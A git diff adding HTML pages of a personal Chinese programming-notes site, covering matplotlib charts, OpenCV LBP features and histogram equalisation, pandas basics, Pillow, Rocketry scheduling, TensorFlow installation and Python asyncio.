+plt.barh(month + 0.6, gl_d, 0.2, color='blue')
+plt.title('某商场各部门业绩(万元)')
+plt.legend(['餐饮', '男装', '女装', '化妆品', '金银首饰'])
+plt.show()
+
+
  • 运行截图

结构

  • 结构也可以称为成分、构成或内容组成,指的是一个整体内有哪些元素组成,以及各个元素的影响因素或程度的大小。
  • 例如不同品类的利润占比、不同类型客户的销售额占比、总体中各组成部分所占比重等。
  • 常用的可视化图形,一般使用饼图(圆形图)及其变体,
    • 变体例如玫瑰图、扇形图、环形图等;

示例1:成绩分段
import matplotlib.pyplot as plt
+import random
+
+plt.rcParams['font.family'] = ['simhei']
+# random.seed(30)
+# 随机生成30位学生的考试成绩
+stu_s = [random.randint(40, 100) for i in range(30)]
+grade = {'0-49': 0,
+         '50-59': 0,
+         '60-69': 0,
+         '70-79': 0,
+         '80-89': 0,
+         '90-100': 0}
+
+plt.figure(figsize=(10, 6))
+plt.title('学生成绩分段统计图')
+plt.ylabel('学生成绩分段人数')
+plt.xlabel('分数段')
+
+for i in stu_s:
+    if i <= 49:
+        s = '0-49'
+        grade[s] = grade.get(s, 0) + 1
+    elif i <= 59:
+        s = '50-59'
+        grade[s] = grade.get(s, 0) + 1
+    elif i <= 69:
+        s = '60-69'
+        grade[s] = grade.get(s, 0) + 1
+    elif i <= 79:
+        s = '70-79'
+        grade[s] = grade.get(s, 0) + 1
+    elif i <= 89:
+        s = '80-89'
+        grade[s] = grade.get(s, 0) + 1
+    else:
+        s = '90-100'
+        grade[s] = grade.get(s, 0) + 1
+
+gr1_name = list()
+gr1_data = list()
+for i in grade:
+    gr1_name.append(i)
+    gr1_data.append(grade[i])
+gr1 = range(len(gr1_name))
+plt.xticks(gr1, gr1_name)
+plt.bar(gr1_name, gr1_data, 0.6, color='c')
+for x, y in zip(gr1_name, gr1_data):
+    plt.text(x, y + 0.1, str(y))
+
+plt.show()
+
+
+
+ + + diff --git a/Language/Python/libs/Matplotlib/index.html b/Language/Python/libs/Matplotlib/index.html new file mode 100644 index 0000000000..469a717c3c --- /dev/null +++ b/Language/Python/libs/Matplotlib/index.html @@ -0,0 +1,40 @@ + + + + + + + + Matplotlib | DailyNotes + + + + + + +
跳至主要內容

Matplotlib

小于 1 分钟

目录

目录

+ + + diff --git a/Language/Python/libs/OpenCV/OpenCV-python.html b/Language/Python/libs/OpenCV/OpenCV-python.html new file mode 100644 index 0000000000..c11c007af2 --- /dev/null +++ b/Language/Python/libs/OpenCV/OpenCV-python.html @@ -0,0 +1,158 @@ + + + + + + + + OpenCV-python | DailyNotes + + + + + + +
跳至主要內容

OpenCV-python

大约 6 分钟

OpenCV-python



cv2.CascadeClassifier

  • 参考链接open in new window


  • CascadeClassifier,是 Opencv 中做人脸检测的时候的一个级联分类器。并且既可以使用 Haar,也可以使用 LBP 特征。


Haar

  • Haar 特征是一种反映图像的灰度变化的,像素分模块求差值的一种特征。

  • 它分为三类:边缘特征线性特征中心特征和对角线特征

  • 用黑白两种矩形框组合成特征模板,在特征模板内用 黑色矩形像素和 减去 白色矩形像素和来表示这个模版的特征值。

    • 例如:脸部的一些特征能由矩形模块差值特征简单的描述,如:眼睛要比脸颊颜色要深,鼻梁两侧比鼻梁颜色要深,嘴巴比周围颜色要深等。
    • 但矩形特征只对一些简单的图形结构,如边缘、线段较敏感,所以只能描述在特定方向(水平、垂直、对角)上有明显像素模块梯度变化的图像结构。这样就可以进行区分人脸。

LBP

LBP 特征的背景介绍

  • LBP 指局部二值模式,英文全称:Local Binary Pattern,是一种用来描述图像局部特征的算子;

  • LBP 特征具有灰度不变性和旋转不变性等显著优点。由 T.Ojala, M.Pietikäinen, 和 D.Harwood 在1994年提出;

  • 由于 LBP 特征计算简单、效果较好,因此 LBP 特征在计算机视觉的许多领域都得到了广泛的应用,LBP 特征比较出名的应用是用在人脸识别和目标检测中,在计算机视觉开源库 Opencv 中有使用 LBP 特征进行人脸识别的接口,也有用 LBP 特征训练目标检测分类器的方法,Opencv 实现了 LBP 特征的计算,但没有提供一个单独的计算 LBP 特征的接口。


LBP特征的原理

1.原始LBP特征描述及计算方法

  • 原始的 LBP 算子定义在像素 333*3 的邻域内,以邻域中心像素为阈值,相邻的 8 个像素的灰度值与邻域中心的像素值进行比较,若周围像素大于中心像素值,则该像素点的位置被标记为 1 ,否则为 0 。这样,333*3 邻域内的 8 个点经过比较可产生 8 位二进制数,将这 8 位二进制数依次排列形成一个二进制数字,这个二进制数字就是中心像素的 LBP 值,LBP 值共有 28=2562^8 = 256 种可能。中心像素的 LBP 值反映了该像素周围区域的纹理信息。

PS : 计算 LBP 特征的图像必须是灰度图,如果是彩色图,需要先转换成灰度图。

  • 上述过程用图像表示为:
    20210526101757
    20210526101852

  • 将上述过程用公式表示为:
    20210526101929
    (xc,yc)(x_c, y_c) 为中心像素的坐标
    p 为邻域的第 p 个像素
    ip 为邻域像素的灰度值
    ic 为中心像素的灰度值
    s(x) 为符号函数

  • 原始LBP特征计算代码(Opencv下)

    //原始LBP特征计算
    +template <typename _tp>
    +void getOriginLBPFeature(InputArray _src,OutputArray _dst)
    +{
    +    Mat src = _src.getMat();
    +    _dst.create(src.rows-2,src.cols-2,CV_8UC1);
    +    Mat dst = _dst.getMat();
    +    dst.setTo(0);
    +    for(int i=1;i<src.rows-1;i++)
    +    {
    +        for(int j=1;j<src.cols-1;j++)
    +        {
    +            _tp center = src.at<_tp>(i,j);
    +            unsigned char lbpCode = 0;
    +            lbpCode |= (src.at<_tp>(i-1,j-1) > center) << 7;
    +            lbpCode |= (src.at<_tp>(i-1,j  ) > center) << 6;
    +            lbpCode |= (src.at<_tp>(i-1,j+1) > center) << 5;
    +            lbpCode |= (src.at<_tp>(i  ,j+1) > center) << 4;
    +            lbpCode |= (src.at<_tp>(i+1,j+1) > center) << 3;
    +            lbpCode |= (src.at<_tp>(i+1,j  ) > center) << 2;
    +            lbpCode |= (src.at<_tp>(i+1,j-1) > center) << 1;
    +            lbpCode |= (src.at<_tp>(i  ,j-1) > center) << 0;
    +            dst.at<uchar>(i-1,j-1) = lbpCode;
    +        }
    +    }
    +}
    +

    测试结果:
    20210526102435

    原博主测测试结果, 我个人用的 OpenCV-python 没做测试


2.LBP 特征的改进版本

  • 在原始的 LBP 特征提出以后,研究人员对 LBP 特征进行了很多的改进,因此产生了许多 LBP 的改进版本。

save, 留个眼[bookmark]在这里, 先写其他的了


detectMultiScale()

void detectMultiScale(
+    // 待检测图像
+    const Mat& image, 
+    // 被检测物体的矩形框向量          
+    CV_OUT vector & objects,  
+    // 前后两次相继的扫描中搜索窗口的比例系数,默认为 1.1 即每次搜索窗口扩大 10%  
+    double scaleFactor = 1.1, 
+    /*构成检测目标的相邻矩形的最小个数 
+      如果组成检测目标的小矩形的个数和
+          小于 minneighbors - 1 都会被排除
+      如果 minneighbors为 0 
+          则函数不做任何操作就返回所有被检候选矩形框  
+    */
+    int minNeighbors = 3, 
+    // 若设置为 CV_HAAR_DO_CANNY_PRUNING 函数将会使用 Canny 边缘检测来排除边缘过多或过少的区域      
+    int flags = 0,        
+    // 最后两个参数用来限制得到的目标区域的范围      
+    Size minSize = Size(),
+    Size maxSize = Size() 
+    );
+
  • falgs
    • CV_HAAR_DO_CANNY_PRUNING : 利用Canny边缘检测器来排除一些边缘很少或者很多的图像区域
    • CV_HAAR_SCALE_IMAGE : 按比例正常检测
    • CV_HAAR_FIND_BIGGEST_OBJECT : 只检测最大的物体
    • CV_HAAR_DO_ROUGH_SEARCH : 只做初略检测

直方图处理

  • 对一幅低对比度分辨率的图像采用直方图均衡化和规定化方法实现图像增强,分别采用系统函数和自己编写函数实现相应用功能。


  • 参考链接@CodecWangopen in new window


  • 直方图 : 简单来说,直方图就是图像中每个像素值的个数统计形成的柱状图

  • OpenCV中直方图计算

    cv2.calcHist(images, channels, mask, histSize, ranges)
    +
    • images : 要计算的原图,以方括号的传入,如:[img]

    • channels : 类似dims,灰度图写[0]就行,彩色图B/G/R分别传入[0]/[1]/[2]

      • dims : 要计算的通道数,对于灰度图dims=1,普通彩色图dims=3
    • mask : 要计算的区域,计算整幅图的话,写None

    • histSize : 子区段数目,如果我们统计0~255每个像素值histSize=256;如果划分区间,比如0~15, 16~31…240~255这样16个区间,histSize=16

    • ranges : 要计算的像素值范围,一般为[0,256)


  • 绘制直方图

      import cv2
    +  import matplotlib.pyplot as plt
    +
    +  img = cv2.imread('../resource/pic/lena_low_quality.jpg')
    +  plt.hist(img.ravel(), 256, [0, 256])
    +  plt.show()
    +

    20210410155316

    • 可以看出,这个图像确实有够糊的


  • 直方图均衡化

    • 一副效果好的图像通常在直方图上的分布比较均匀,直方图均衡化就是用来改善图像的全局亮度和对比度。

      import cv2
      +import numpy as np
      +import matplotlib.pyplot as plt
      +
      +img = cv2.imread('../resource/pic/lena_low_quality.jpg', 0)
      +
      +# 1.直方图计算
      +# 使用OpenCV函数计算
      +hist = cv2.calcHist([img], [0], None, [256], [0, 256])  # 性能:0.022158 s
      +
      +# 2.绘制直方图
      +plt.hist(img.ravel(), 256, [0, 256])
      +plt.show()
      +
      +# 3.直方图均衡化
      +equ = cv2.equalizeHist(img)
      +cv2.imshow('equalization', np.hstack((img, equ)))  # 并排显示
      +cv2.waitKey(0)
      +
      +# 绘制出均衡化后的直方图
      +plt.hist(equ.ravel(), 256, [0, 256])
      +plt.show()
      +
      +

      20210410162024


  • 自己编写函数实现相应用功能

    import cv2
    +import numpy as np
    +import matplotlib.pyplot as plt
    +
    +
    +# 直方图均衡化
    +def hist_equal(image, z_max=255):
    +    H, W = image.shape
    +    S = H * W * 1.
    +    out = image.copy()
    +    sum_h = 0.
    +
    +    for i in range(1, 255):
    +        ind = np.where(image == i)
    +
    +        sum_h += len(image[ind])
    +
    +        z_prime = z_max / S * sum_h
    +
    +        out[ind] = z_prime
    +
    +        out = out.astype(np.uint8)
    +
    +    return out
    +
    +
    +img = cv2.imread("../resource/pic/lena_low_quality.jpg", 0).astype(np.float)
    +out = hist_equal(img)
    +# 显示直方图
    +plt.hist(out.ravel(), bins=255, rwidth=0.8, range=(0, 255))
    +plt.show()
    +# 显示处理后的图像
    +cv2.imshow("result", out)
    +cv2.waitKey(0)
    +cv2.destroyAllWindows()
    +

    20210410163952

+ + + diff --git a/Language/Python/libs/OpenCV/index.html b/Language/Python/libs/OpenCV/index.html new file mode 100644 index 0000000000..46af9786e9 --- /dev/null +++ b/Language/Python/libs/OpenCV/index.html @@ -0,0 +1,40 @@ + + + + + + + + Open C V | DailyNotes + + + + + + +
跳至主要內容

Open C V

小于 1 分钟

+ + + diff --git a/Language/Python/libs/Pandas/Pandas.html b/Language/Python/libs/Pandas/Pandas.html new file mode 100644 index 0000000000..c11a389b0a --- /dev/null +++ b/Language/Python/libs/Pandas/Pandas.html @@ -0,0 +1,237 @@ + + + + + + + + 目录 | DailyNotes + + + + + + +
跳至主要內容

目录

大约 6 分钟

目录


Pandas


Pandas数据分析

  • pandas的名称来自于panel data(面板数据)和data analysis(数据分析)。
  • 是基于扩展库numpy和matplotlib的数据分析模块,是一个开源项目。
  • Pandas提供了大量标准数据模型和高效操作大型数据集所需要的函数和方法,是使得Python能够成为高效且强大的数据分析工具的重要因素之一。

pandas数据结构

  • Pandas常用的数据结构有:
    • 1)Series,带标签的一维数组;
    • 2)DatetimeIndex,时间序列;
    • 3)DataFrame,带标签且大小可变的二维表格结构;
    • 4)Panel,带标签且大小可变的三维数组。

Series

  • pandas提供的类似于一维数组的字典结构的对象,
    • 索引(数据标签)和数据两部分组成。
  • 如果在创建时没有明确指定索引则会自动使用从0开始的非负整数作为索引。

  • Series对象
    a = pd.Series([23, 54, 32, 65, 87, 54])
    +# print(a)
    +0    23
    +1    54
    +2    32
    +3    65
    +4    87
    +5    54
    +dtype: int64
    +
    • 通常默认索引从0开始
    • 自定义索引
      b = pd.Series([23, 54, 32, 65, 87, 54],
      +            index=[chr(i + ord('A')) for i in range(6)])
      +# 输出b
      +A    23
      +B    54
      +C    32
      +D    65
      +E    87
      +F    54
      +dtype: int64
      +

常用创建方法

from pandas import Series
+import numpy as np
+
+# 1.使用列表创建Series
+s1 = Series([1, 2, 3, 4])
+# 2. 使用range创建Series
+s2 = Series(range(3))
+# 3.使用numpy一维数组创建Series
+s3 = Series(np.array([1, 2, 3, 4]))
+s4 = Series(np.arange(6, 10))
+# 4.使用字典创建Series,其中字典的键,就是索引
+s5 = Series({'语文': 90, '数学': 87})
+# 创建Series时不指定索引,默认生成从0开始的序列,也可自行指定索引
+s6 = Series([12, 3, 4], index=['A', 'B', 'C'])
+s7 = Series([12.3, 34.5, 3.6, ], ['I', 'II', 'III'])
+print("s1 = Series([1, 2, 3, 4]):\n{0}\n"
+      "s2 = Series(range(3)):\n{1}\n"
+      "s3 = Series(np.array([1, 2, 3, 4])):\n{2}\n"
+      "s4 = Series(np.arange(6, 10)):\n{3}\n"
+      .format(s1, s2, s3, s4))
+print(r"s5 = Series({'语文': 90, '数学': 87}):")
+print(s5)
+print("s6 = Series([12, 3, 4], index=['A', 'B', 'C']):\n{0}"
+      "s7 = Series([12.3, 34.5, 3.6, ], ['I', 'II', 'III']):\n{0}"
+      .format(s6, s7))
+
+
+# 运行结果
+s1 = Series([1, 2, 3, 4]):
+0    1
+1    2
+2    3
+3    4
+dtype: int64
+s2 = Series(range(3)):
+0    0
+1    1
+2    2
+dtype: int64
+s3 = Series(np.array([1, 2, 3, 4])):
+0    1
+1    2
+2    3
+3    4
+dtype: int32
+s4 = Series(np.arange(6, 10)):
+0    6
+1    7
+2    8
+3    9
+dtype: int32
+
+s5 = Series({'语文': 90, '数学': 87}):
+语文    90
+数学    87
+dtype: int64
+s6 = Series([12, 3, 4], index=['A', 'B', 'C']):
+A    12
+B     3
+C     4
+dtype: int64s7 = Series([12.3, 34.5, 3.6, ], ['I', 'II', 'III']):
+A    12
+B     3
+C     4
+dtype: int64
+

常用运算

from pandas import Series
+
+s1 = Series(range(4))
+s2 = Series({'语文': 90, '数学': 87, '英语': 67, '程序设计': 78})
+s3 = Series({'语文': 20, '数学': 80, '英语': 67, '程序设计': 78, 'w': 23})
+print("s1:\n{0}\ns2:\n{1}\ns3:\n{2}".format(s1, s2, s3))
+s1:
+0    0
+1    1
+2    2
+3    3
+dtype: int64
+s2:
+语文      90
+数学      87
+英语      67
+程序设计    78
+dtype: int64
+s3:
+语文      20
+数学      80
+英语      67
+程序设计    78
+w       23
+dtype: int64
+
  • 同索引等长的Series可进行算术运算
    print("s2 - s3:\n{0}\ns2 + s3:\n{1}\ns2 * s3:\n{2}\ns2 / s3:\n{3}".format(s2 - s3, s2 + s3, s2 * s3, s2 / s3))
    +
    • 没有的部分自动补齐NotANumber
  • 不同索引运算其相对应的值控制为NaN
    print("s1+s2:\n{0}".format(s1 + s2))
    +
  • Series对象与标量进行算术运算
    print("s3*2:\n{0}\ns3**0.5:\n{1}".format(s3 * 2, s3 ** 0.5))
    +
  • Series对象的关系运算
    print("\ns2[s2 >= 80]:\n{0}".format(s2[s2 >= 80]))
    +
  • 计算Series对象的中值
    print("\ns3.median():\n{0}".format(s3.median()))
    +
  • 计算s2中最小的1个值
    print('\ns2.nsmallest(1):\n', s2.nsmallest(1))
    +
  • 计算s2中最大的1个值
    print('s2.nlargest(1):\n', s2.nlargest(1))
    +

values的访问与修改

  • 访问与修改都可通过索引、切片实现。
from pandas import Series
+
+s1 = Series(range(1, 11))
+s2 = Series({'语文': 90, '数学': 87, '英语': 67, '程序设计': 78})
+
  • 通过索引,切片访问Series的value
    print("s1[4] : {0}\ns2['英语'] : {1}".format(s1[4], s2['英语']))
    +print("s1[1:4]:\n{0}\n"
    +    "s2[1:3]:\n{1}".format(s1[1:4], s2[1:3]))
    +
  • 通过索引修改Series的value,注意字典的键为索引
    s2['程序设计'] = 89
    +print("s2:\n{0}".format(s2))
    +

DataFrame

  • 二维数据,类似于二维表格,由多行多列组成。


数据的导入与导出

  • pandas可以将读取到的数据转成DataFrame类型的数据结构,通过操作DataFrame进行数据分析,数据预处理以及行和列的操作等。也可以将数据写入文件。
read_csv            to_csv
+read_excel          to_excel
+read_json           to_json
+read_sql            to_sql  
+read_pickle         to_pickle
+read_html           to_html
+... ...             ... ...
+

数据的导入参数

  • student.csv
    姓名,数学,程序设计,英语
    +张一,56,94,45
    +王宏,76,77,90
    +李玉,45,87,77
    +吴苛左,87,55,89
    +季晶,45,95,75
    +五一,83,77,93
    +李言,87,45,99
    +于旧,92,75,34
    +王工,97,67,56
    +才一,56,73,78
    +于旧,92,75,34
    +
import pandas as pd
+import os
+
+file_path = os.path.abspath(os.path.join(os.path.dirname(__file__), './res/files/prog/student.csv'))
+stu = pd.read_csv(file_path,
+                  sep=',',          # 指定分隔符
+                  delimiter=',',    # 分隔符
+                  encoding='utf-8',
+                  header=[0],       # 指定行数用来作为列名,默认第一行为列名
+                  index_col=0,      # 指定列编号或者列名为索引
+                  skiprows=None,    # 需要忽略的行数(从文件开始处算起)
+                  )
+print(stu)
+
+# 运行结果
+     数学  程序设计  英语
+姓名               
+张一   56    94  45
+王宏   76    77  90
+李玉   45    87  77
+吴苛左  87    55  89
+季晶   45    95  75
+五一   83    77  93
+李言   87    45  99
+于旧   92    75  34
+王工   97    67  56
+才一   56    73  78
+于旧   92    75  34
+

导入xlsx

  • 最新版的xlrd不支持xlsx
    • 先卸载:
      pip uninstall xlrd
      +
    • 然后用版本号装一个低版本的
      pip install -i https://pypi.tuna.tsinghua.edu.cn/simple xlrd==1.2.0
      +

数据的导出参数

import pandas as pd
+import os
+
+file_path = os.path.abspath(os.path.join(os.path.dirname(__file__), './res/files/prog/student.csv'))
+file_path_save = os.path.abspath(os.path.join(os.path.dirname(__file__), './res/files/prog/student1.csv'))
+
+stu = pd.read_csv(file_path,
+                  sep=',',  # 指定分隔符
+                  delimiter=',',  # 分隔符
+                  encoding='utf-8',
+                  header=[0],  # 指定行数用来作为列名,默认第一行为列名
+                  index_col=0,  # 指定列编号或者列名为索引
+                  skiprows=None,  # 需要忽略的行数(从文件开始处算起)
+                  )
+print(stu)
+stu.to_csv(file_path_save,
+           sep=',',         # 指定分隔符
+           encoding='utf-8',
+           header=False,    # 表示是否写入数据中的列名,默认为False
+           index=0,         # 表示是否将行索引写入文件,默认为True
+           )
+print(stu)
+
+
+ + + diff --git a/Language/Python/libs/Pandas/index.html b/Language/Python/libs/Pandas/index.html new file mode 100644 index 0000000000..71c4af2d58 --- /dev/null +++ b/Language/Python/libs/Pandas/index.html @@ -0,0 +1,40 @@ + + + + + + + + Pandas | DailyNotes + + + + + + +
跳至主要內容

Pandas

小于 1 分钟

目录

目录

+ + + diff --git a/Language/Python/libs/Pillow/Pillow.html b/Language/Python/libs/Pillow/Pillow.html new file mode 100644 index 0000000000..e19c1938cf --- /dev/null +++ b/Language/Python/libs/Pillow/Pillow.html @@ -0,0 +1,48 @@ + + + + + + + + 目录 | DailyNotes + + + + + + +
跳至主要內容

目录

大约 1 分钟

目录


Pillow


Image


convert(mode)

  • [Python] - 图像处理 ------ img.convert()@Exler_yzopen in new window


  • 是图像实例对象的一个方法,接受一个 mode 参数,用以指定一种色彩模式

  • mode

    • 1: 1位像素,黑白,每字节一个像素存储
    • L: 8位像素,黑白
    • P: 8位像素,使用调色板映射到任何其他模式
    • RGB: 3x8位像素,真彩色
    • RGBA: 4x8位像素,带透明度掩模的真彩色
    • CMYK: 4x8位像素,分色
    • YCbCr: 3x8位像素,彩色视频格式
    • I: 32位有符号整数像素
    • F: 32位浮点像素

new(mode, size, color=0)

(function) new: (mode: str, size: _Size, color: str | Tuple[int, ...] | None = ...) -> Image
+Creates a new image with the given mode and size.
+
+:param mode: The mode to use for the new image.
+:param size: A 2-tuple, containing (width, height) in pixels.
+:param color: What color to use for the image. Default is black.
+   If given, this should be a single integer or floating point value for single-band modes, and a tuple for multi-band modes (one value per band). When creating RGB images, you can also use color strings as supported by the ImageColor module. If the color is None, the image is not initialised.
+:returns: An ~PIL.Image.Image object.
+
  • color 是填充颜色

ImageDraw

  • 支持 2D 图像, 且与 Image 对象的区别在于 ImageDraw 对象支持绘制
+ + + diff --git a/Language/Python/libs/Pillow/index.html b/Language/Python/libs/Pillow/index.html new file mode 100644 index 0000000000..6e63d2300b --- /dev/null +++ b/Language/Python/libs/Pillow/index.html @@ -0,0 +1,40 @@ + + + + + + + + Pillow | DailyNotes + + + + + + +
跳至主要內容

Pillow

小于 1 分钟

目录

目录

+ + + diff --git a/Language/Python/libs/Rocketry/index.html b/Language/Python/libs/Rocketry/index.html new file mode 100644 index 0000000000..47e841e348 --- /dev/null +++ b/Language/Python/libs/Rocketry/index.html @@ -0,0 +1,179 @@ + + + + + + + + Rocketry | DailyNotes + + + + + + +
跳至主要內容

Rocketry

大约 2 分钟

Rocketry

Miksus/rocketry: Modern scheduling library for Python (github.com)open in new window

Why Rocketry? — Rocketryopen in new window


Rocketry is a modern statement-based scheduling framework for Python. It is simple, clean and extensive. It is suitable for small and big projects.


Quick Start

pip install rocketry
+
from rocketry import Rocketry
+from rocketry.conds import secondly
+
+app = Rocketry()
+
+@app.task(secondly)
+def do_daily():
+    print('Doing daily task')
+
+if __name__ == '__main__':
+    app.run()
+
+

Code_cPuY6UcJ2K

除了这种基本的用法, 还可以给任务的执行加上其他自定义条件, 比如:

from rocketry import Rocketry
+from rocketry.conds import daily, time_of_week
+from pathlib import Path
+
+app = Rocketry()
+
+@app.cond()
+def file_exists(file):
+    return Path(file).exists()
+
+@app.task(daily.after("08:00") & file_exists("start.py"))
+def do_work():
+    print('Doing work')
+
+app.run()
+

Code_YQPZjeVSn7


官网提供的更多示例:

from rocketry.conds import daily, after_success
+from rocketry.args import Return
+
+@app.task(daily.after("07:00"))
+def do_first():
+    ...
+    return 'Hello World'
+
+@app.task(after_success(do_first))
+def do_second(arg=Return('do_first')):
+    # arg contains the value of the task do_first's return
+    ...
+    return 'Hello Python'
+
from rocketry.conds import daily
+
+@app.task(daily, execution="main")
+def do_unparallel():
+    ...
+
+@app.task(daily, execution="async")
+async def do_async():
+    ...
+
+@app.task(daily, execution="thread")
+def do_on_separate_thread():
+    ...
+
+@app.task(daily, execution="process")
+def do_on_separate_process():
+    ...
+
@app.task('every 10 seconds')
+def do_constantly():
+    ...
+
+@app.task('every 1 minute')
+def do_minutely():
+    ...
+
+@app.task('every 1 hour')
+def do_hourly():
+    ...
+
+@app.task('every 1 day')
+def do_daily():
+    ...
+
+@app.task('every 2 days 2 hours 20 seconds')
+def do_custom():
+    ...
+
@app.task('minutely')
+def do_minutely():
+    ...
+
+@app.task('hourly')
+def do_hourly():
+    ...
+
+@app.task('daily')
+def do_daily():
+    ...
+
+@app.task('weekly')
+def do_weekly():
+    ...
+
+@app.task('monthly')
+def do_monthly():
+    ...
+
@app.task("minutely before 45")
+def do_minutely():
+    ...
+
+@app.task("hourly after 45:00")
+def do_hourly():
+    ...
+
+@app.task("daily between 08:00 and 14:00")
+def do_daily():
+    ...
+
+@app.task("weekly on Monday")
+def do_weekly():
+    ...
+
+@app.task("monthly starting 3rd")
+def do_monthly():
+    ...
+
@app.task('time of day between 10:00 and 18:00')
+def do_constantly_during_day():
+    ...
+
+@app.task('time of week between Saturday and Sunday')
+def do_constantly_during_weekend():
+    ...
+
app = Rocketry(execution="async")
+
+@app.task("daily")
+def do_main():
+    ...
+

PS: 因为描述都比较明确, 能看出大致用法, 所以贴上来了, 等到后面再结合具体使用场景进行记录


条件表达式

API

Cron

Cron Scheduling — Rocketryopen in new window

from rocketry.conds import cron
+
+@app.task(cron('* * * * *'))
+def do_minutely():
+    ...
+
+@app.task(cron('*/2 12-18 * Oct Fri'))
+def do_complex():
+    "Run at every 2nd minute past every hour from 12 through 18 on Friday in October."
+    ...
+

报错处理

pydantic.errors.PydanticUserError: const is removed, use Literal instead

Pydantic v2 support · Issue #210 · Miksus/rocketry (github.com)open in new window

from rocketry import Rocketry
+

报错 pydantic.errors.PydanticUserError: const is removed, use Literal instead 可能是因为当前 Rocketry 不兼容 Pydantic2, 可以指定 Pydantic 版本为 1.10.10 以解决此问题

pip install pydantic==1.10.10
+
+ + + diff --git a/Language/Python/libs/TensorFlow/TensorFlow.html b/Language/Python/libs/TensorFlow/TensorFlow.html new file mode 100644 index 0000000000..19d40b48b3 --- /dev/null +++ b/Language/Python/libs/TensorFlow/TensorFlow.html @@ -0,0 +1,55 @@ + + + + + + + + TensorFlow | DailyNotes + + + + + + +
跳至主要內容

TensorFlow

大约 1 分钟


TensorFlow


安装

  • TensorFlow安装的时候需要装dll,因此不可以通过直接拷贝别人装好的的site-packages/TensorFlow...来安装
  • 相应环境命令行执行
    pip install TensorFlow --user --no-warn-script-location
    +
    • --user : pip 默认安装 package 到 system directory, 通过 --user 可以将 package 安装到 /home 路径下
    • --no-warn-script-location : 忽略脚本警告
    • 个人使用清华的源安装 TensorFlow 时经常超时,可以使用阿里的源
    pip install TensorFlow --user --no-warn-script-location -i https://mirrors.aliyun.com/pypi/simple/
    +

  • TensorFlowkeras 以及 python 版本要相匹配
    • 表格参考open in new window
    • 最新版本的 TensorFlow2.2.0 适配 keras2.3.1 + python3.7.
    • 找网上的往期项目往往依赖比较老,例如:
      from keras.engine.saving
      +
      相应版本 keras2.2.4 对应 python3.6., tensorflow 1.13.0 安装时可以
      pip install TensorFlow==1.13.1 --user --no-warn-script-location -i https://mirrors.aliyun.com/pypi/simple/
      +

      pip install keras==2.2.4 --user --no-warn-script-location -i https://mirrors.aliyun.com/pypi/simple/
      +
      • 这里注意阿里云的源中 1.13.0 后都有rc 因此直接 ==1.13.0 会报错找不到相应版本,因此这里安装1.13.1

安装报错记录


ModuleNotFoundError: No module named 'numpy.core._multiarray_umath'

  • 适应 numpy 版本 1.14.6 ~ 1.17.2
    • 满足 tensorflow1.13.1 要求的 numpy >= 1.13.3
    • numpy==1.15.0测试成功

ImportError: cannot import name '_ccallback_c'

  • 当前 scipy==1.4.0

接收的某个项目的依赖安装记录

pip install TensorFlow==1.13.1 --user --no-warn-script-location -i https://mirrors.aliyun.com/pypi/simple/
+
+pip install keras==2.2.4 --user --no-warn-script-location -i https://mirrors.aliyun.com/pypi/simple/
+
+pip install opencv-python -i https://mirrors.aliyun.com/pypi/simple/
+
+pip install matplotlib -i https://mirrors.aliyun.com/pypi/simple/
+
+pip install Pillow -i https://mirrors.aliyun.com/pypi/simple/
+
+
+ + + diff --git a/Language/Python/libs/TensorFlow/index.html b/Language/Python/libs/TensorFlow/index.html new file mode 100644 index 0000000000..b4629c3d87 --- /dev/null +++ b/Language/Python/libs/TensorFlow/index.html @@ -0,0 +1,40 @@ + + + + + + + + Tensor Flow | DailyNotes + + + + + + +
跳至主要內容

Tensor Flow

小于 1 分钟

+ + + diff --git a/Language/Python/libs/asyncio/index.html b/Language/Python/libs/asyncio/index.html new file mode 100644 index 0000000000..f2279b7d23 --- /dev/null +++ b/Language/Python/libs/asyncio/index.html @@ -0,0 +1,40 @@ + + + + + + + + Asyncio | DailyNotes + + + + + + +
跳至主要內容

Asyncio

小于 1 分钟

+ + + diff --git "a/Language/Python/libs/asyncio/\345\274\202\346\255\245\347\274\226\347\250\213.html" "b/Language/Python/libs/asyncio/\345\274\202\346\255\245\347\274\226\347\250\213.html" new file mode 100644 index 0000000000..7f43683255 --- /dev/null +++ "b/Language/Python/libs/asyncio/\345\274\202\346\255\245\347\274\226\347\250\213.html" @@ -0,0 +1,103 @@ + + + + + + + + Python 异步编程 | DailyNotes + + + + + + +
跳至主要內容

Python 异步编程

大约 5 分钟

Python 异步编程

原文链接(几乎完全照搬了内容)-Python 异步编程入门 - 阮一峰的网络日志 (ruanyifeng.com)open in new window


  • 历史上,Python 并不支持专门的异步编程语法,因为不需要。

  • 有了多线程(threading)和多进程(multiprocessingopen in new window,就没必要一定支持异步了。如果一个线程(或进程)阻塞,新建其他线程(或进程)就可以了,程序不会卡死。

  • 但是,多线程有 "线程竞争" 的问题,处理起来很复杂,还涉及加锁。对于简单的异步任务来说(比如与网页互动),写起来很麻烦。

  • Python 3.4 引入了 asyncio 模块,增加了异步编程,跟 JavaScript 的async/await 极为类似,大大方便了异步任务的处理。它受到了开发者的欢迎,成为从 Python 2 升级到 Python 3 的主要理由之一。


asyncio 的设计

asyncio 模块最大特点就是,只存在一个线程,跟 JavaScript 一样。

由于只有一个线程,就不可能多个任务同时运行。asyncio 是"多任务合作"模式(cooperative multitasking),允许异步任务交出执行权给其他任务,等到其他任务完成,再收回执行权继续往下执行,这跟 JavaScript 也是一样的。

由于代码的执行权在多个任务之间交换,所以看上去好像多个任务同时运行,其实底层只有一个线程,多个任务分享运行时间。

表面上,这是一个不合理的设计,明明有多线程多进程的能力,为什么放着多余的 CPU 核心不用,而只用一个线程呢?但是就像前面说的,单线程简化了很多问题,使得代码逻辑变得简单,写法符合直觉。

image-20210614075932427

asyncio 模块在单线程上启动一个事件循环(event loop),时刻监听新进入循环的事件,加以处理,并不断重复这个过程,直到异步任务结束。事件循环的内部机制,可以参考 JavaScript 的模型open in new window,两者是一样的。

image-20210614080137145


asyncio API

下面介绍 asyncio 模块最主要的几个API。注意,必须使用 Python 3.7 或更高版本,早期的语法已经变了。

第一步,import 加载 asyncio 模块。

import asyncio
+

第二步,函数前面加上 async 关键字,就变成了 async 函数。这种函数最大特点是执行可以暂停,交出执行权。

async def main():
+

第三步,在 async 函数内部的异步任务前面,加上await命令。

await asyncio.sleep(1)
+

上面代码中,asyncio.sleep(1) 方法可以生成一个异步任务,休眠1秒钟然后结束。

执行引擎遇到await命令,就会在异步任务开始执行之后,暂停当前 async 函数的执行,把执行权交给其他任务。等到异步任务结束,再把执行权交回 async 函数,继续往下执行。

第四步,async.run() 方法加载 async 函数,启动事件循环。

